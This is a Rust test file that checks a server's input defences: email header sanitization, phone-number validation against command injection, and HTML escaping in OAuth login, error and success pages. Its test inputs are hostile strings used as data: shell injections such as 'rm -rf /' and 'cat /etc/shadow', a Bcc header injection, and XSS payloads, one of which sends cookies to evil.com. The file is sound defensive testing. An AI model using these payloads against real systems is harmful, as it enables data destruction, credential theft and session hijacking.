this repo has no description
1mod common; 2use bspds::notifications::{ 3 SendError, is_valid_phone_number, sanitize_header_value, 4}; 5use bspds::oauth::templates::{login_page, error_page, success_page}; 6use bspds::image::{ImageProcessor, ImageError}; 7 8#[test] 9fn test_sanitize_header_value_removes_crlf() { 10 let malicious = "Injected\r\nBcc: attacker@evil.com"; 11 let sanitized = sanitize_header_value(malicious); 12 assert!(!sanitized.contains('\r'), "CR should be removed"); 13 assert!(!sanitized.contains('\n'), "LF should be removed"); 14 assert!(sanitized.contains("Injected"), "Original content should be preserved"); 15 assert!(sanitized.contains("Bcc:"), "Text after newline should be on same line (no header injection)"); 16} 17 18#[test] 19fn test_sanitize_header_value_preserves_content() { 20 let normal = "Normal Subject Line"; 21 let sanitized = sanitize_header_value(normal); 22 assert_eq!(sanitized, "Normal Subject Line"); 23} 24 25#[test] 26fn test_sanitize_header_value_trims_whitespace() { 27 let padded = " Subject "; 28 let sanitized = sanitize_header_value(padded); 29 assert_eq!(sanitized, "Subject"); 30} 31 32#[test] 33fn test_sanitize_header_value_handles_multiple_newlines() { 34 let input = "Line1\r\nLine2\nLine3\rLine4"; 35 let sanitized = sanitize_header_value(input); 36 assert!(!sanitized.contains('\r'), "CR should be removed"); 37 assert!(!sanitized.contains('\n'), "LF should be removed"); 38 assert!(sanitized.contains("Line1"), "Content before newlines preserved"); 39 assert!(sanitized.contains("Line4"), "Content after newlines preserved"); 40} 41 42#[test] 43fn test_email_header_injection_sanitization() { 44 let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value"; 45 let sanitized = sanitize_header_value(header_injection); 46 let lines: Vec<&str> = sanitized.split("\r\n").collect(); 47 assert_eq!(lines.len(), 1, "Should be a single line after sanitization"); 48 assert!(sanitized.contains("Normal Subject"), "Original content preserved"); 49 assert!(sanitized.contains("Bcc:"), "Content after CRLF preserved as same line text"); 50 assert!(sanitized.contains("X-Injected:"), "All content on same line"); 51} 52 53#[test] 54fn test_valid_phone_number_accepts_correct_format() { 55 assert!(is_valid_phone_number("+1234567890")); 56 assert!(is_valid_phone_number("+12025551234")); 57 assert!(is_valid_phone_number("+442071234567")); 58 assert!(is_valid_phone_number("+4915123456789")); 59 assert!(is_valid_phone_number("+1")); 60} 61 62#[test] 63fn test_valid_phone_number_rejects_missing_plus() { 64 assert!(!is_valid_phone_number("1234567890")); 65 assert!(!is_valid_phone_number("12025551234")); 66} 67 68#[test] 69fn test_valid_phone_number_rejects_empty() { 70 assert!(!is_valid_phone_number("")); 71} 72 73#[test] 74fn test_valid_phone_number_rejects_just_plus() { 75 assert!(!is_valid_phone_number("+")); 76} 77 78#[test] 79fn test_valid_phone_number_rejects_too_long() { 80 assert!(!is_valid_phone_number("+12345678901234567890123")); 81} 82 83#[test] 84fn test_valid_phone_number_rejects_letters() { 85 assert!(!is_valid_phone_number("+abc123")); 86 assert!(!is_valid_phone_number("+1234abc")); 87 assert!(!is_valid_phone_number("+a")); 88} 89 90#[test] 91fn test_valid_phone_number_rejects_spaces() { 92 assert!(!is_valid_phone_number("+1234 5678")); 93 assert!(!is_valid_phone_number("+ 1234567890")); 94 assert!(!is_valid_phone_number("+1 ")); 95} 96 97#[test] 98fn test_valid_phone_number_rejects_special_chars() { 99 assert!(!is_valid_phone_number("+123-456-7890")); 100 assert!(!is_valid_phone_number("+1(234)567890")); 101 assert!(!is_valid_phone_number("+1.234.567.890")); 102} 103 104#[test] 105fn test_signal_recipient_command_injection_blocked() { 106 let malicious_inputs = vec![ 107 "+123; rm -rf /", 108 "+123 && cat /etc/passwd", 109 "+123`id`", 110 "+123$(whoami)", 111 "+123|cat /etc/shadow", 112 "+123\n--help", 113 "+123\r\n--version", 114 "+123--help", 115 ]; 116 for input in malicious_inputs { 117 assert!(!is_valid_phone_number(input), "Malicious input '{}' should be rejected", input); 118 } 119} 120 121#[test] 122fn test_image_file_size_limit_enforced() { 123 let processor = ImageProcessor::new(); 124 let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024]; 125 let result = processor.process(&oversized_data, "image/jpeg"); 126 match result { 127 Err(ImageError::FileTooLarge { .. }) => {} 128 Err(other) => { 129 let msg = format!("{:?}", other); 130 if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") { 131 panic!("Expected FileTooLarge error, got: {:?}", other); 132 } 133 } 134 Ok(_) => panic!("Should reject files over size limit"), 135 } 136} 137 138#[test] 139fn test_image_file_size_limit_configurable() { 140 let processor = ImageProcessor::new().with_max_file_size(1024); 141 let data: Vec<u8> = vec![0u8; 2048]; 142 let result = processor.process(&data, "image/jpeg"); 143 assert!(result.is_err(), "Should reject files over configured limit"); 144} 145 146#[test] 147fn test_oauth_template_xss_escaping_client_id() { 148 let malicious_client_id = "<script>alert('xss')</script>"; 149 let html = login_page(malicious_client_id, None, None, "test-uri", None, None); 150 assert!(!html.contains("<script>"), "Script tags should be escaped"); 151 assert!(html.contains("&lt;script&gt;"), "HTML entities should be used for escaping"); 152} 153 154#[test] 155fn test_oauth_template_xss_escaping_client_name() { 156 let malicious_client_name = "<img src=x onerror=alert('xss')>"; 157 let html = login_page("client123", Some(malicious_client_name), None, "test-uri", None, None); 158 assert!(!html.contains("<img "), "IMG tags should be escaped"); 159 assert!(html.contains("&lt;img"), "IMG tag should be escaped as HTML entity"); 160} 161 162#[test] 163fn test_oauth_template_xss_escaping_scope() { 164 let malicious_scope = "\"><script>alert('xss')</script>"; 165 let html = login_page("client123", None, Some(malicious_scope), "test-uri", None, None); 166 assert!(!html.contains("<script>"), "Script tags in scope should be escaped"); 167} 168 169#[test] 170fn test_oauth_template_xss_escaping_error_message() { 171 let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>"; 172 let html = login_page("client123", None, None, "test-uri", Some(malicious_error), None); 173 assert!(!html.contains("<script>"), "Script tags in error should be escaped"); 174} 175 176#[test] 177fn test_oauth_template_xss_escaping_login_hint() { 178 let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\""; 179 let html = login_page("client123", None, None, "test-uri", None, Some(malicious_hint)); 180 assert!(!html.contains("onfocus=\"alert"), "Event handlers should be escaped in login hint"); 181 assert!(html.contains("&quot;"), "Quotes should be escaped"); 182} 183 184#[test] 185fn test_oauth_template_xss_escaping_request_uri() { 186 let malicious_uri = "\" onmouseover=\"alert('xss')\""; 187 let html = login_page("client123", None, None, malicious_uri, None, None); 188 assert!(!html.contains("onmouseover=\"alert"), "Event handlers should be escaped in request_uri"); 189} 190 191#[test] 192fn test_oauth_error_page_xss_escaping() { 193 let malicious_error = "<script>steal()</script>"; 194 let malicious_desc = "<img src=x onerror=evil()>"; 195 let html = error_page(malicious_error, Some(malicious_desc)); 196 assert!(!html.contains("<script>"), "Script tags should be escaped in error page"); 197 assert!(!html.contains("<img "), "IMG tags should be escaped in error page"); 198} 199 200#[test] 201fn test_oauth_success_page_xss_escaping() { 202 let malicious_name = "<script>steal_session()</script>"; 203 let html = success_page(Some(malicious_name)); 204 assert!(!html.contains("<script>"), "Script tags should be escaped in success page"); 205} 206 207#[test] 208fn test_oauth_template_no_javascript_urls() { 209 let html = login_page("client123", None, None, "test-uri", None, None); 210 assert!(!html.contains("javascript:"), "Login page should not contain javascript: URLs"); 211 let error_html = error_page("test_error", None); 212 assert!(!error_html.contains("javascript:"), "Error page should not contain javascript: URLs"); 213 let success_html = success_page(None); 214 assert!(!success_html.contains("javascript:"), "Success page should not contain javascript: URLs"); 215} 216 217#[test] 218fn test_oauth_template_form_action_safe() { 219 let malicious_uri = "javascript:alert('xss')//"; 220 let html = login_page("client123", None, None, malicious_uri, None, None); 221 assert!(html.contains("action=\"/oauth/authorize\""), "Form action should be fixed URL"); 222} 223 224#[test] 225fn test_send_error_types_have_display() { 226 let timeout = SendError::Timeout; 227 let max_retries = SendError::MaxRetriesExceeded("test".to_string()); 228 let invalid_recipient = SendError::InvalidRecipient("bad recipient".to_string()); 229 assert!(!format!("{}", timeout).is_empty()); 230 assert!(!format!("{}", max_retries).is_empty()); 231 assert!(!format!("{}", invalid_recipient).is_empty()); 232} 233 234#[test] 235fn test_send_error_timeout_message() { 236 let error = SendError::Timeout; 237 let msg = format!("{}", error); 238 assert!(msg.to_lowercase().contains("timeout"), "Timeout error should mention timeout"); 239} 240 241#[test] 242fn test_send_error_max_retries_includes_detail() { 243 let error = SendError::MaxRetriesExceeded("Server returned 503".to_string()); 244 let msg = format!("{}", error); 245 assert!(msg.contains("503") || msg.contains("retries"), "MaxRetriesExceeded should include context"); 246} 247 248#[tokio::test] 249async fn test_check_signup_queue_accepts_session_jwt() { 250 use common::{base_url, client, create_account_and_login}; 251 let base = base_url().await; 252 let http_client = client(); 253 let (token, _did) = create_account_and_login(&http_client).await; 254 let res = http_client 255 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base)) 256 .header("Authorization", format!("Bearer {}", token)) 257 .send() 258 .await 259 .unwrap(); 260 assert_eq!(res.status(), reqwest::StatusCode::OK, "Session JWTs should be accepted"); 261 let body: serde_json::Value = res.json().await.unwrap(); 262 assert_eq!(body["activated"], true); 263} 264 265#[tokio::test] 266async fn test_check_signup_queue_no_auth() { 267 use common::{base_url, client}; 268 let base = base_url().await; 269 let http_client = client(); 270 let res = http_client 271 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base)) 272 .send() 273 .await 274 .unwrap(); 275 assert_eq!(res.status(), reqwest::StatusCode::OK, "No auth should work"); 276 let body: serde_json::Value = res.json().await.unwrap(); 277 assert_eq!(body["activated"], true); 278} 279 280#[test] 281fn test_html_escape_ampersand() { 282 let html = login_page("client&test", None, None, "test-uri", None, None); 283 assert!(html.contains("&amp;"), "Ampersand should be escaped"); 284 assert!(!html.contains("client&test"), "Raw ampersand should not appear in output"); 285} 286 287#[test] 288fn test_html_escape_quotes() { 289 let html = login_page("client\"test'more", None, None, "test-uri", None, None); 290 assert!(html.contains("&quot;") || html.contains("&#34;"), "Double quotes should be escaped"); 291 assert!(html.contains("&#39;") || html.contains("&apos;"), "Single quotes should be escaped"); 292} 293 294#[test] 295fn test_html_escape_angle_brackets() { 296 let html = login_page("client<test>more", None, None, "test-uri", None, None); 297 assert!(html.contains("&lt;"), "Less than should be escaped"); 298 assert!(html.contains("&gt;"), "Greater than should be escaped"); 299 assert!(!html.contains("<test>"), "Raw angle brackets should not appear"); 300} 301 302#[test] 303fn test_oauth_template_preserves_safe_content() { 304 let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"), "valid-uri", None, Some("user@example.com")); 305 assert!(html.contains("my-safe-client") || html.contains("My Safe App"), "Safe content should be preserved"); 306 assert!(html.contains("read write") || html.contains("read"), "Scope should be preserved"); 307 assert!(html.contains("user@example.com"), "Login hint should be preserved"); 308} 309 310#[test] 311fn test_csrf_like_input_value_protection() { 312 let malicious = "\" onclick=\"alert('csrf')"; 313 let html = login_page("client", None, None, malicious, None, None); 314 assert!(!html.contains("onclick=\"alert"), "Event handlers should not be executable"); 315} 316 317#[test] 318fn test_unicode_handling_in_templates() { 319 let unicode_client = "客户端 クライアント"; 320 let html = login_page(unicode_client, None, None, "test-uri", None, None); 321 assert!(html.contains("客户端") || html.contains("&#"), "Unicode should be preserved or encoded"); 322} 323 324#[test] 325fn test_null_byte_in_input() { 326 let with_null = "client\0id"; 327 let sanitized = sanitize_header_value(with_null); 328 assert!(sanitized.contains("client"), "Content before null should be preserved"); 329} 330 331#[test] 332fn test_very_long_input_handling() { 333 let long_input = "x".repeat(10000); 334 let sanitized = sanitize_header_value(&long_input); 335 assert!(!sanitized.is_empty(), "Long input should still produce output"); 336}